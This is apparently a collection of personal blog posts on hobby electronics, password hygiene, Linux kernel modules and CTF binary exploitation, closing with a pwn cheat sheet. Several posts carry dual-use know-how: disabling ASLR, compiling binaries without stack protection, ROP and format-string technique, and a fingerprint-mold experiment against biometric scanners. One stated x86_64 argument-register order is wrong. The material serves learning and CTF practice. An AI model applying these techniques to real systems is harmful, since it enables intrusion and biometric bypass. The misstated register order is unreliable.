Basic install

For this project I decided it was best to go with a fresh Raspberry OS install instead of using the premade Klipper image. Setting up the Pi is straightforward. I used the Raspberry Pi Imaging tool, wich lets you set the user, hostname and enable SSH. No further changes necessary.

After boot, I SSH’ed in and ran the following commands:

sudo apt update
sudo apt upgrade
sudo apt install git
git clone https://github.com/th33xitus/kiauh.git
./kiauh/kiauh.sh

Using Kiauh, I installed Klipper first. The tool lets you easily create 2 instances instead of 1. I named both. When asked if the tool should add the user to the tty group, I selected yes.

Then installing Moonraker was simple. The default settings were fine. The same went for Fluidd.

Basic setup

Now in Fluidd, we can simply make the following adjustments:

• Settings -> printer name set to a name that makes sense to you
• manage -> add user a new user with password
• Edit moonraker.conf:

[authorization]
+force_logins: True
-trusted_clients:
-   10.0.0.0/8
-   127.0.0.0/8
-   169.254.0.0/16
-   172.16.0.0/12
-   192.168.0.0/16
-   FE80::/10
-   ::1/128

Then find the meatball menu and add an instance. I added http://printer.local:7126 (printer is the hostname I set in the Raspberry imager. mDNS lets me approach this system with http://printer.local). Go through the exact same three steps as above.

Then reboot the Pi.

Finally, for both printers, update the printer.cfg and fluidd.cfg. You may need to edit moonraker.conf as well. Do not accidentally overwrite the Moonraker port with old settings. The following two changes must also be applied to the old config. Note that anet is the name I gave to one of my printers. Subsitute it with your own.

printer.cfg

[virtual_sdcard]
-path: ~/gcode_files
+path: ~/anet_data/gcodes

fluidd.cfg

[virtual_sdcard]
-path: /home/arjan/gcode_files
+path: /home/arjan/anet_data/gcodes

Printer picking problems

The last change that had to be made is the serial port. My Ender 3 V2 and Anet A8 Plus both connected to the Pi without Serial ID. This meant that running ls /dev/serial/by-id/* showed only one file. Using this is not possible. We need a unique descriptor for each of the printers.

We can achieve this with udev. Running udevadm info -a -n /dev/ttyUSB2 gives a lot of details about the serial port and how it is connected. Depending on which hardware you’re using, the numbers may not entirely line up with mine.

With this information we can write our own udev rules. Instead of relying on the serial ID that turned out to not be unique, we can use the physical location of the USB connection. Because our physical configuration will not change often, this is acceptable. I made a file in /etc/udev/rules.d named 98-printer.rules. This contained the following:

ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.1.3", SYMLINK+="printer_usb_1_3"
ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.1.2", SYMLINK+="printer_usb_1_2"
ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.2", SYMLINK+="printer_usb_2"
ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.3", SYMLINK+="printer_usb_3"

Now each of the four physical ports on the Pi gets their own symlink in /dev/. This symlink can then be used in the printer.cfg.

Further bodging shenanigans

Lastly, I wanted to have the system restart on plugging in. Details on how to achieve this are available but only on 1 printer systems. I achieved this goal by taking the following steps.

In both printer.cfg files, I changed /dev/printer_usb_n_n values to /dev/printer_ender and /dev/printer_anet. Then, I modified the printer.rules udev file to the following:

ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.3", SYMLINK+="printer_anet", RUN+="/usr/bin/sudo -u arjan /bin/sh -c '/bin/echo RESTART > /home/arjan/anet_data/comms/klippy.serial'"
ACTION=="add", ATTRS{product}=="USB Serial", ATTRS{devpath}=="1.2", SYMLINK+="printer_ender", RUN+="/usr/bin/sudo -u arjan /bin/sh -c '/bin/echo RESTART > /home/arjan/ender_data/comms/klippy.serial'"

Of course you’ll have to adjust your system username and symlinks to match your own.

Now when the printer is powered up, it automatically resets and Klippy connects automatically.

The TL;DR here is to use a password manager and use passwords based on fully random data like a die or a trustworthy random number generator.

Background

An attacker might obtain your password in one of a few ways like password cracking after an organization has been hacked and password hashes have been leaked, or through phishing where the attacker targets the individual directly.

Password cracking

Attackers have limited resources. That means that they can only crack the weakest portion of the leaked hashes. That is, assuming the service implements best practices like hashing. This process uses one-way maths. When you log in, your password is verified only by comparing the result of the equation to the result of the equation that was stored when you made or changed your password. An attacker would have to try many options before knowing which one matches.

There are two ways passwords are cracked. One is cracking with brute force, and the other is by generating potential matches using patterns. This is either done on-the-fly or by making a ‘dictionary’ in advance.

Brute force attacks are simple. The attacker tries everything from ‘a’ through ‘ZZZZZZZZZZZZ’, including all lower- and uppercase letters, numbers, a limited amount of symbols or whichever combination the attacker thinks is likely to work.

Dictionary attacks are an art. The attacker may try combinations of common names, seasons, years, and limited permutations on all. This may include an uppercase letter as the first character, and an exclamation point as a last character.

A hack can be permanent

When an account is hacked, an attacker may change the email address, change the password or enable MFA on the account. This means that you can no longer access the account. Not all companies will respond to support requests and the police are almost never of help. This means that you could permanently lose access to the account and the data inside it!

Don’ts

Don’t use weak passwords. This includes

• known ones (Love, password, 1234567, Welcome01!);
• easily guessable ones (fikkie, maga2020!);
• generatable ones (8September1999);
• keyboard walks.

Keyboard walks are sequences of letters or characters that follow a path over your physical keyboard like qwertyuiop or qazwsxedc. These are not random and everyone shares the same keyboard layouts so they are easily guessed.

There is no rule against using a capital letter for the first letter or adding a punctuation mark at the end but this does not increase security as much as you might think.

Don’t use pen and paper. Your passwords are unlikely to get stolen, and on paper (haha) this is not a bad idea. But this approach increases the barrier to use strong passwords, but it also makes it more likely that you’ll reuse passwords. If you ignore this advice, do not store them along your laptop, on a sticky note under your keyboard, or anywhere untrusted people can access it.

While using a password system like mypassword-PC, mypassword-SocialMedia, mypassword-Email is technically better than using the exact same password for all accounts, this is still not a good practice. When one leaks, an attacker can still use it to get into the other accounts.

Do’s

Use a password manager. There are good ones that can be used for free. Just make sure that like with any service you use, the company has a good business model.

You will still need a few memorable passwords. Like for your computer, your password manager and the encryption key to your backups. (You do have backups, right?)

Use a passphrase, consisting of many (at least 6) words. Join them together with spaces, dashes, slashes, or other characters. If you need help choosing words (you probably do), Diceware may help. This is an easier to use alternative.

Learn all passwords by heart immediately. And keep using them. Often times, you cannot recover the master password to your password manager. By regularly typing in your password, you make sure not to forget it. If you can store it in a safe place, it is not necessarily a bad idea to write down your master password.

Use a unique password for all the accounts you care about. It might not matter to you if a game account of 6 years ago is compromised, but if someone uses that same password to get into your email account, you’re in big trouble.

Final words

Use MFA (multi factor authentication) to authenticate with not only something you know (your password) but also something you have (a keyfob or your phone). There are free authenticator apps available. This helps more than an increase in password strength can.

You might want to plug your email address(es) into Have I been Pwned. This service tells you if your account has been in a breach. If an account has been, make sure all passwords that match that accounts password are changed as soon as possible.

Talking to our driver

The first thing to worry about for making this driver is how we’ll be talking to it. In this case, using sysfs makes more sense over devfs because we’ll always be dealing with small bits of data.

Because we will be needing to read and write to memory, we’ll need to specify the operation in the message. For reading memory we’ll need to specify an address to read from, and we may also specify how many words to read. For the writing operation, we’ll need to specify an address and a value. With our current architecture, these all need to be a u32. We will be sending the result of the read operation to the user via printk. This is not acceptable for serious drivers, but it more than suffices for our use case.

To process the users input we can easily use sscanf as follows.

chars_read = sscanf(buffer, "%c %li %li", &operation, &location, &arg2);

Of course, we mustn’t forget to check the validity of all parameters. If they are not as expected, we can return -E

Oh no

If we let ourselves be inspired by the lkmpg and use the following snippet, we run into a wall.

static DEVICE_ATTR(data, S_IWUGO | S_IRUGO, sysfs_show, sysfs_store);

This is because the permissions that S_IWUGO | S_IRUGO resolve to, are too broad. They may be no more permissive than 0664. Keep in mind that these are octal values.

Scratch scratch

In the enviroment we created, we don’t have the luxury of using iowrite32 and io_p2v(). So we will have to use iomem. The following code allows us to read and write to an address.

void __iomem *io_base = ioremap_nocache(location, 4);
if (operation == 'r')
{
    unsigned long value = readl(io_base);
    printk(KERN_INFO "read value  0x%lx from physical memory location 0x%lx\n", value, location);
}
else if (operation == 'w')
{
    writel(arg2, io_base);
    printk(KERN_INFO "wrote value 0x%lx   to physical memory location 0x%lx\n", arg2, location);
}
iounmap(io_base);

Of course, we also make sure that invalid code paths are handled correctly.

The beast growls

Testing this module gives some interesting results. At first I tried setting one of the on board leds. These were not documented extensively but using the reference guide I thought I had a reasonable grasp. I set all the right registers but nothing happened.

Reading from non-gpio registers seemed to work. One USB register has a version number, and this was read just fine by the driver.

Further debugging, it turned out that the issue lies in writing to the GPIO registers. This is because of the way the CPU and the FPGA interact. One has to set up the FPGA correctly before being able to use the GPIO.

It’s only a little scary

When originally drafting this post, this paragraph was titled “It’s not that scary.” And then I spent 4 days debugging the toolchain. But even though many things are different in kernel module land, it’s just another little step up from programming for userspace in C.

Getting set up

If you first venture out into embedded linux past Raspberries, you’ll quickly run into Buildroot, Yocto and Zephyr. Each with their own strengths. For working with the Zybo board, we didn’t have to make a choice. Xilinx provides a Petalinux demo which should be easy to set up. (subtle foreshadowing.) With Petalinux, we can simply build an image for the board and build applications and kernel modules.

To get us going, we make an Ubuntu 16.04.x VM and we install Petalinux and download the bsp. While Xilinx’ demo page suggests that 2017.4 is not the latest release, the latest release link (https://github.com/Digilent/(Board)/releases/tag/(tag)) doesn’t go anywhere so we’ll stick with 2017.4. Following their guide on github we get most of the way there.

Building the image now gives us the error WARNING: u-boot-xlnx-v2017.01-xilinx-v2017.4+gitAUTOINC+42deb242f9-r0 do_fetch: Failed to fetch URL git://github.com/digilent/u-boot-digilent.git;protocol=https;branch=master, attempting MIRRORS if available. The repo seems to be fine, and picking the Petalinux built in u-boot or a different repo or different commit does not solve the issue. The solution for this can be found here. What we’re doing is taking commit 42deb242f961ce317366566666cbbddfb198bc9f from the official digilent u-boot repository and manually retrieving it. I have no explanation for why this is necessary. It has taken me days to get to this point so now I’ll just take the win.

Workflow

We can now simply follow Digilents ug1144 to make a new module. This includes the following commands.

cd ~/Zybo-Z7-10/
source /opt/pkg/petalinux/settings.sh
petalinux-create -t modules --name <user-module-name> --enable
petalinux-build -c <user-module-name>
nano project-spec/meta-user/recipes-modules/helloworld/files/helloworld.c
upl <ip> <user-module-name> # eg upl 192.168.2.49 helloworld

upl is a custom bash function that scp’s the .ko file. After building, the .ko file ends up in ~/Zybo-Z7-10/build/tmp/sysroots/plnx_arm/lib/modules/4.9.0-xilinx-v2017.4/extra/. Petalinux takes care of all the other build files.

Do not name your module peekpoke. There is presumably already a module with that name and the build process will fail silently. You’ll bawl your eyes out before you figure that out.

The process of building the modules is still painfully slow compared to using the toolchain for the LPC3250 board. This is because there are a few steps in the module build process that are not cached. It might be possible to further optimize this process. To save a little extra time, we can use ssh to transfer over the .ko file. The prebuilt image includes dropbear. Credentials are root:root. Consider the security implications of this.

I’ve decided that I do not want to work inside the VM. So for the actual work I will be using a git repository on my main machine, mapped into the vm. For a new project, I will copy the template from Petalinux into the git folder and to build, I will be using an alias to copy from git into Petalinux, build, and upload.

cp -r project-spec/meta-user/recipes-modules/es6peekpoke/files/ /mnt/hgfs/es6git/es6peekpoke/
cp -r /mnt/hgfs/es6git/peekpoke/files/ project-spec/meta-user/recipes-modules/es6peekpoke/
petalinux-build -c es6peekpoke

Though it might be written like one, this is not a chronological guide. There are too many (amazing) resources out there that all overlap, making it near impossible. So feel free to go on a tangent with a course you like, and come back whenever you feel like it.

You can find a list with well-known CTFs and wargames at the bottom of this page.

Baby steps

Most of the binary exploitation challenges you’ll encounter at first are written in C. You’d do well getting a grasp at that first. If you don’t (fully) understand pointers yet, that should be a priority. An understanding of function pointers will also greatly help in understanding pwn challenges.

An understanding of the stack is even more critical. Understand the difference between Von Neumann and Harvard architectures. You can find a diagram of the stack in the pwn/rev cheat sheet on this blog.

Besides being the superior OS family (I use Arch btw), it is very useful to know your way around Linux. If you need a quick refresher on common Linux syntax, OTW Bandit is an excellent resource.

In many CTFs you will find both the source code and the binary. I still recommend dipping your feet into x86 and x86_64 assembly because this gives insight in how functions are called, and how data is passed around.

ASLR

We haven’t even started, and we already have a frenemy. Address Space Layout Randomization (ASLR) was made to stop us from doing what we’re about to do. If a system has ASLR enabled, it will be difficult to impossible to jump to a specific place in the code. When starting out, we’ll want to turn it off. Wargames like PicoCTF and OverTheWire have already done that for us.

If you want to test locally without ASLR, you can write a 0 to /proc/sys/kernel/randomize_va_space to disable it. Note that this is per OS. Applying this in a VM will not affect the host machine. Applying this on the host machine will affect all (Docker) containers running on it.

PIE/PIC

“Oh no not another security measure.” Yes, another security measure. We have plenty more where this came from. Position-independent executable or code, (PIE/PIC) is similar to ASLR in that it makes predicting memory locations harder. But the way it achieves it is very different. PIE is tied to the architecture. So while ASLR is system-wide, PIE is defined per binary. The core of what PIE does, is store bits (haha) of the binary with an offset, instead of with fixed addresses. Non-PIE binaries do not benefit from ASLR.

Starting with x86 BOF

To understand buffer overflow exploits, you should first understand buffers; how they are stored on the stack; and how C handles strings for example. With those concepts, you will understand how a buffer overflow will write to parts of memory where it shouldn’t.

You will understand that this overflow might cause some local variables to be overwritten. (Including a stack canary. More on that later.)

It can also overwrite the previous instruction pointer, and this can be used to jump to any location in memory of your choosing. (Which may be less useful than you thought. More on NX and R^W later)

You can find information on all this in the usual places (StackOverflow, Wikipedia, or search on DuckDuckGo). Look the difference between gets() and fgets() (https://linux.die.net/man/3/gets). LiveOverflow explains it very well in https://www.youtube.com/watch?v=T03idxny9jE and https://www.youtube.com/watch?v=8QzOC8HfOqU

Test your knowledge with one or more of the following:

• https://2019game.picoctf.com/ OverFlow 0, 1 and 2;
• https://ropemporium.com/challenge/ret2win.html;
• https://pwnable.kr/play.php Toddler’s bottle - bof

Try doing it by hand before moving on to tools that automate the job for you. When you’re doing more CTFs, it will be helpful to automate things. But you should understand, and be able to manually do buffer overflow exploits first.

Shellcode and DEP, NX, R^X

At this point, you might also be interested in writing shellcode. A skill you should have is using other peoples shellcode. Shell-storm is an excellent resource for prewritten shellcode.

PicoCTF 2019 has good shellcode challenges. LiveOverflow has a good explanation once again: https://www.youtube.com/watch?v=HSlhY4Uy8SA. Be careful here. NX might make your life difficult.

With the exception of challenges that are specifically made for shellcode, you won’t be able to simply write your code into the stack and run it. The concept of Read XOR Execute (R^X) tells us any part of memory should only ever be readable, or executable, but not both. A binary might have the NX security feature enabled. This means that the stack will not be executable. Your precious shellcode on the stack is now useless.

Ropping

Now that you can call one function, you can call many. (You know more than you think!) The trick is to keep going after you’ve made one call. Do This ROP Emporium challenge to learn all about that. It should set you right up for the more complicated ropping with x86_64.

Now that you understand why buffer overflows work, and how ropping works, you can start to automate it. Maybe brush up on your Python (3!!) a bit, and try doing all the BOF challenges you’ve done up until now, with Pwntools. You already know the lengths of the padding you need so just let Pwntools do the address crafting instead of manually & with struct.pack().

Moving on to x86_64

With callme challenges, the core concept stays the same when moving from x86 to x86_64. The main thing to watch out for is the size of EBP and EIP.

Test your knowledge in https://2019game.picoctf.com/ for example, in the challenge NewOverFlow 1.

To do more than the simplest callme, you will have to understand how x86_64 handles arguments. Where they used to be stored on the stack, they’re now moved to registers. Always in the order or RSI, RDI, RSI, RDX, R8, R9. This is just something that is, and you’ll learn it by heart if you use it enough. If you have more arguments than this, they will be stored onto the stack.

The first few arguments cannot be directly changed with a buffer overflow. For that, we will need gadgets.

Test your knowledge in https://2019game.picoctf.com/ for example, in the challenge NewOverFlow 2. Or with the 64 bits version of ROP Emporiums callme.

One thing you will likely trip over is the MOVAPS issue. Remember that for the next time you’ve made an exploit, you’re debugging it and everything seems to work but then it inexplicably fails. ROPEmporium explains it well.

Libc, PLT, GOT

This is the part that I struggled with most, because I didn’t know it was a thing. But it’s also the part that will get you the furthest in CTFs once you do understand it.

This video is a good primer. Note the part about ASLR. That is exploited in this video by IppSec. Do feel free to reference it when trying to exploit your own first ret2libc. If you prefer written form instead of videos, follow this article

Canaries

“With ROP, nothing can stop us. Not even NX!” Hold your horses, dear friend. Let me introduce you to stack canaries. Just like the original canaries down in the mines, stack canaries warn when something goes horribly wrong. But this time it’s not problems with air, but problems with the stack. At compile time, the compiler will place a variable right after a buffer, or at least right before the EBP. Before exiting the function, the code will compare that variable to a value stored in a register. If it does not match, it will tell you *** stack smashing detected *** and exit out. There is usually very little you can do about this. Maybe try a format string exploit instead.

Format string

A format string exploit is the less well-known cousin of the buffer overflow exploit. But it can be just as fatal. LiveOverflow explains it very well. It’s still a lot to take in though, so don’t worry if you need to go through it a couple of times.

The TL;DR of Format string exploits is as follows. If you control the first argument to printf(), you can leak information with %x, or you can write to arbitrary locations in memory with %n.

RELRO

Relocation read-only (RELRO) is a security measure pertaining to the Global Offset Table. I’ve not come across this feature in the more basic, beginner friendly CTFs. But it is something to watch out for if you suspect that the solution to a challenge is related to maliciously writing a value into the GOT.

Heap

If you’ve come this far, you understand the stack very well, so you probably also understand the heap. To learn more about exploiting the heap, you can turn to LiveOverflow.

Seccomp

The first time I encountered a binary with seccomp, I had never heard of it yet. I had crafted the perfect exploit, but right at the syscall, it would crash. I tried many different pieces of shellcode, they all ran perfectly until the syscall was made to retrieve the flag. It turned out that those syscalls were explicitly disallowed.

If you want to play around with seccomp and writing shellcode, try Toddler’s bottle - asm.

Conclusion

Well done, you’ve won.

I’m kidding of course, but at this point I hope that you won’t need this page anymore. Now that you know about these core concepts, it is time to practice finding where to apply them, and then doing it.

Okay then, one last link. https://ctftime.org.

Love, Bangedaon.

Further training

• https://overthewire.org/wargames/krypton/
• https://microcorruption.com/about
• https://smashthestack.org/wargames.html
• https://ctf.j0n9hyun.xyz/
• https://pwnable.kr
• https://pwnable.xyz
• https://pwnable.tw
• https://exploit.education/

Other CTF/binary analysis and exploitation related resources

• https://cryptopals.com
• https://github.com/sajjadium/CTFium
• https://247ctf.com/
• Hackthebox
• Tryhackme
• Metasploitable
• DVWA
• https://app.cybrary.it (Paid)
• https://malwareunicorn.org/#/workshops
• https://class.malware.re/
• https://opensecuritytraining.info/Training.html
• https://github.com/wtsxDev/reverse-engineering
• https://maxkersten.nl/binary-analysis-course/

Setting up

sudo apt-get install python3-dev libffi-dev build-essential virtualenvwrapper
mkvirtualenv --python=$(which python3) angr && pip install angr

python3 -m venv angr
source angr/bin/activate
python3 -m pip install angr

Template

import angr
import claripy
import logging
#logging.getLogger('angr').setLevel('INFO')

start_address = 0
success_address = 0

base_address = 0x0
input_length = 8

input_chars = [claripy.BVS('input_%d' % i, 8) for i in range(input_length)]
program_input = claripy.Concat( *input_chars + [claripy.BVV(b'\n')]) 

p = angr.Project("./src/binary", main_opts={'base_addr': base_address})

state = p.factory.entry_state(
        args=['./src/binary'],
        add_options=angr.options.unicorn,
        stdin=program_input,
        addr=start_address
)

#state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_REGISTERS)
#state.options.add(angr.options.ZERO_FILL_UNCONSTRAINED_MEMORY)

# Has to be printable characters
for k in input_chars:
    state.solver.add(k <= ord('~'))
    state.solver.add(k >= ord('!'))

sm = p.factory.simulation_manager(state)

#sm.explore(find=success_address, avoid=avoid_address)
#sm.explore(find=success_address)
#sm.explore(find=lambda s: b"Thanks!" in s.posix.dumps(1))

if (len(sm.found) > 0):
    for found in sm.found:
        print(found.posix.dumps(0))
        print(sm.found.__str__())
else:
    print("not found")

print("done")

A lot of things had to go exactly right, and I felt it was time to either prove or debunk parts of this hack. I’m not the first to analyse this hack. Vice has analyzed many parts of it. A thread on Reddit showed some doubts about the fingerprint hack. But a similar attack has been pulled off before.

My main doubts are as follows.

• 40 minutes seems like too little time, even with prep.
• Going for a full-on social engineering attack is bold, even for Elliot and Darlene.
• What kind of putty was used? Did Elliot and Darlene know what type of scanner there would be?

Other remarks that I will not be following up on are: (Please do investigate, if you have the time)

• The print had a lot of detail. Could that printer handle that? if so, how long should that print take?
• The mold they printed was big and concave. What is the reason for that?

Types

Common types of scanners I’ve come across online are:

• optical
• capacitive
• ultrasonic

We don’t get a good look at the scanners surface. It is not unlikely that it is of the optical variety, as this technology has been in use for quite long. More modern scanners are capacitive, like in my phone and laptop. Ultrasonic scanners are popping up more and more, as this technology can be hidden underneath smartphone screens.

Mold

To make my mold, I took the following steps.

First of all, I made a scan of my fingerprint. To give myself the best chance, I applied ink to my index finger and placed it on some paper. Be liberal with ink, and don’t apply too much pressure or details might get lost. I scanned with 600 dpi in color.

I then took this image, and used paint dot net to extract just the print. The easiest way to do so is by cropping and resizing to smaller than 1000*1000 pixels, then converting to grayscale and then adjusting the curves so the image is black and white with all the important ridges, and without any noise where the ridges are not.

I do not know yet if it is more important to get all the ridges, or if it is more important to get rid of all the noise.

The 1000*1000 pixel limit is because of a limitation in TinkerCAD, which will be used later on in the process.

Take the extracted fingerprint, and import it in gimp. Select all the white, invert, and make a path from this selection. Then enable the path window, right click on this path, and export it as an svg file.

Import the svg in a new tinkercad project. Make sure it’s a private one.

Do not forget to invert the model where necessary. (this might be more complicated than I first realized. Consider not inverting the selection in Gimp; inverting the print by pulling one corner over the other; or using the imported fingerprint as additive, or as a hole inside a block.)

I printed the mold on an Anet 8A plus, with 123-3d Jupiter black PLA. The print was made with a .06 mm resolution, 210 degree extruder, 60 degree bed, with the fan at 100%. No adhesion had to be printed. The print took 1 hour and 22 minutes.

Material

My laptop and phone both use capacitive sensors. Breathing at my phone’s activates it. Hot glue on the other hand, does not. So there goes my material of choice.

After hot glue, I considered a mixture of flour and water. Don’t judge me, it was Sunday night and I didn’t have many options. To everyones surprise, it was a huge failure. It was too sticky and too elastic to maintain the print. It did manage to activate the sensor, so my theory of ‘it activates when water’ held up.

The next day I went to the supermarket, and picked up some chewing gum and putty. First of all, I tested each for their capacitive characteristics. While they both activated the phones sensor, the putty didn’t do a great job. It only worked if I pressed it hard onto the phones sensor and on the laptop it didn’t work at all. Grabbing the print from the mold and using that on the phone was unsuccessful.

Seeing how the pressure affected the ‘saved’ print, It is doubtful that having a full mold of the finger would help. As opposed to just a 2d rectangle with the print pressed into it. To get enough of the surface onto the scanner, a lot of pressure would have to be applied that the center would start losing a lot of detail.

The chewing gum was even worse. While it did do a better job at being detected, it was too sticky and too stretchy to keep the print.

Conclusion

While we haven’t managed to break into a phone or laptop, I still consider this research a success. We’ve all but debunked at least the timeline in Mr Robot. I hope this post also inspires you to continue this research.

what other people say

More context on the episode: https://www.forbes.com/sites/kateoflahertyuk/2019/11/04/mr-robot-season-4-episode-5-a-spectacular-hack-in-three-parts/

Praise for this episode as realistic: https://www.spoilertv.com/2019/11/mr-robot-405-not-found-review.html

External sources

https://github.com/pwning/docs/blob/master/suggestions-for-running-a-ctf.markdown

Buffers

The “Suggestions for running a ctf” by PPP suggested using either xinetd or fork/accept in the binary itself for running remote challenges. When I joined FHICTF, there was one example pwn challenge, which used socat in docker. Because this seemed to work fine, I have not yet looked into the differences and possible problems with our approach.

One issue we have had was that when doing the challenge, netcat would not receive any data until the connection closed. Then it would suddenly flood the terminal.

This is what we used in the dockerfile:

ENTRYPOINT socat TCP-LISTEN:8080,reuseaddr,fork EXEC:"./challenge_format"

The solution I found was to use a setvbuf in main().

int main()
{
    setvbuf(stdout, NULL, _IONBF, 0);
    vuln();
    puts("Exiting!\n");
    return 0;
}

Makefile and GCC flags

To keep the binaries consistent, and to avoid issues with 32 bits vs 64 bits libraries, we build the challenges inside of docker.

For rev challs, consider running strip $(TARGET) after GCC.

TODO: explain all relevant flags

TARGET=challenge_format

INCLUDEFLAGS=-Isrc -Iinclude -Iinclude/interfaces 
CXXFLAGS= $(INCLUDEFLAGS) -m32
CXX=gcc
INSECUREFLAGS=-fno-stack-protector -no-pie
DEBUGFLAGS=-ggdb -g -O0

SOURCES=$(wildcard *.c)
HEADERS=$(wildcard *.h)

.PHONY: all clean

all: $(TARGET)

$(TARGET): $(SOURCES) $(HEADERS) Makefile
    @$(CXX) $(CXXFLAGS) $(DEBUGFLAGS) $(INSECUREFLAGS) -o $@ $(SOURCES)

clean:
    @rm $(TARGET)

Docker commands

sudo docker build -t challenge_name .
sudo docker run challenge_name -p 8080:8080
sudo docker stop $(sudo docker ps -a -q) && sudo docker rm $(sudo docker ps -a -q)
sudo docker cp sad_brattain:/home/user/challenge_name .
nc 172.17.0.2 8080

TODO:

-z execstack

these days most challs are 64 bit

https://www.youtube.com/watch?v=VCwiZ2dh17Q&list=PLhixgUqwRTjzTvVyL_8H-DJBf8VT3uiu2&index=2

Online Tools

• https://libc.blukat.me/
• http://shell-storm.org/shellcode/
• https://github.com/0xb0bb/karkinos
• https://gchq.github.io/CyberChef/
• https://docs.pwntools.com/en/stable/intro.html

GDB

r < payload.bin
r < <(script.py)
info file
info address main

define hook-stop    Do this every time you break
x/32x $sp           examine 32 bytes as hex at the top of stack
x/16i $pc           examine 16 instructions coming up next
end

/x  hex
/s  string
/t  binary
/i  instruction

/a  address
/d  decimal

b *0xdeadbeef
info registers  ( i r )
backtrace       ( bt )
si
fin
info frame

Analysis Shell commands

ltrace ./vuln
sudo dmesg -C
sudo dmesg -t

rabin2 -I ./vuln
rabin2 -z ./vuln
radare2 ./vuln -A

nm ret2win | grep ' t ']

Pwn Shell commands

(python3 script.py; cat) | ./vuln

Radare

afl     list functions
iI      info
ii      imports
izz     list all strings
izz~a   grep for a

afl~sym.main
pdf @sym.main

/R ret
/R pop rdi; ret

Registers 64 bit

Linux:

RDI
RSI
RDX
RCX
R8
R9
rest onto stack

Windows:

RCX
RDX
R8
R9
rest onto stack

Return val is in EAX or RAX

Stack 32 bit

Tips

Don't confuse the stack and heap :)
When going from 32 to 64, EBP also grows